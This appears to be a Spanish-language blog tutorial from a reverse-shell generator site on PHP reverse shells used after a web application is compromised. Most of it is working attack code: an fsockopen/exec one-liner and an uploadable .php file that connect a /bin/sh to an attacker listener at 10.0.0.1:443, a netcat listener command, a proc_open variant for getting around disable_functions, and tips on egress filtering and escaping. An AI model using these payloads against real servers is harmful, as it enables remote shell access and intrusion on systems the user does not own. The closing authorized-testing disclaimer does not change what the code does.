Skip to content
reverseshell

Reverse shell en PHP: del one-liner a disable_functions

Cómo funciona un reverse shell en PHP sobre una aplicación web comprometida, las variantes con fsockopen y proc_open, y qué hacer cuando exec está deshabilitado.

Publicado el 3 min de lectura

Un reverse shell en PHP es a lo que recurres después de convertir una vulnerabilidad web —una subida de archivos sin restricciones, un LFI que alcanza los logs, un fallo de deserialización— en ejecución de código PHP. El servidor web ya está ejecutando PHP, así que un payload en PHP no necesita ningún intérprete adicional en la máquina. Aquí la fricción es distinta: está en la configuración endurecida de PHP, no en el lenguaje.

El one-liner básico

php -r '$sock=fsockopen("10.0.0.1",443);exec("/bin/sh -i <&3 >&3 2>&3");'

fsockopen abre una conexión TCP hacia tu listener y, convenientemente, el nuevo socket queda asignado al descriptor de archivo 3. El exec lanza entonces /bin/sh -i con stdin, stdout y stderr redirigidos todos al fd 3 (<&3 >&3 2>&3), de modo que la shell se comunica a través del socket. En el lado del listener, lo habitual: nc -lvnp 443.

Cuando has escrito un archivo en el servidor (el caso de la subida), la misma lógica va en un fichero .php que luego solicitas en el navegador:

<?php $sock=fsockopen("10.0.0.1",443); exec("/bin/sh -i <&3 >&3 2>&3"); ?>

Visitar esa URL ejecuta el código con los permisos del usuario del servidor web.

El verdadero obstáculo: disable_functions

PHP en producción suele estar endurecido. A menudo php.ini configura disable_functions para bloquear exec, system, shell_exec, passthru, popen y proc_open. Si el one-liner no hace nada, normalmente es por esto. Comprueba qué hay disponible:

<?php echo ini_get("disable_functions"); ?>

Si exec está bloqueada pero proc_open ha sobrevivido, úsala:

<?php
$d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$p=proc_open("/bin/sh -i",$d,$pipes);
$s=fsockopen("10.0.0.1",443);
// shuttle bytes between $s and the proc pipes...
?>

Cuando todas las funciones de ejecución de comandos están deshabilitadas, lanzar una shell queda descartado y debes pivotar hacia técnicas nativas de PHP —leer archivos, alcanzar servicios internos o abusar de una primitiva encadenada— en lugar de pelearte con la configuración. Saber qué funciones siguen disponibles determina todo el enfoque.

Se ejecuta como www-data, no como root

Un reverse shell en PHP te deja como el usuario del servidor web (www-data, apache, nginx), en una shell no interactiva y, con frecuencia, dentro de un contenedor. Ese es el punto de partida, no la meta:

Por qué el tuyo no conecta

  1. disable_functions bloquea tu función de exec: compruébala y cambia a proc_open u otro enfoque.
  2. Comillas/escapado — los payloads PHP entregados a través de un parámetro de URL o JSON sufren doble escapado muy rápido; consulta escapado de payloads.
  3. Salida filtrada desde el servidor: prefiere 443/80.
  4. Listener no coincidente — confírmalo con elegir un listener.

Consulta también por qué fallan los reverse shells.

Genera un payload PHP limpio

El generador de reverse shells produce el one-liner con fsockopen y las variantes en fichero con tu LHOST/LPORT ya colocados y el listener correspondiente al lado, de modo que lo único que queda por resolver es la configuración de PHP del objetivo, no la sintaxis del payload.

Solo pruebas autorizadas

Despliega reverse shells en PHP únicamente contra aplicaciones web de tu propiedad o que tengas autorización explícita para probar. La técnica es idéntica con independencia de la intención; es la autorización lo que la hace lícita.

Artículos relacionados

Cómo una inclusión de archivos local (LFI) se convierte en ejecución de código y luego en una reverse shell: envenenamiento de logs, sesiones PHP y wrappers php://.
Cómo funcionan los reverse shells, por qué superan a los bind shells a través de firewalls y cómo un generador evita errores de copiar y pegar.
Los one-liners habituales de reverse shell en bash explicados línea a línea, por qué necesitan bash (no sh) y cómo recurrir a alternativas cuando falta /dev/tcp.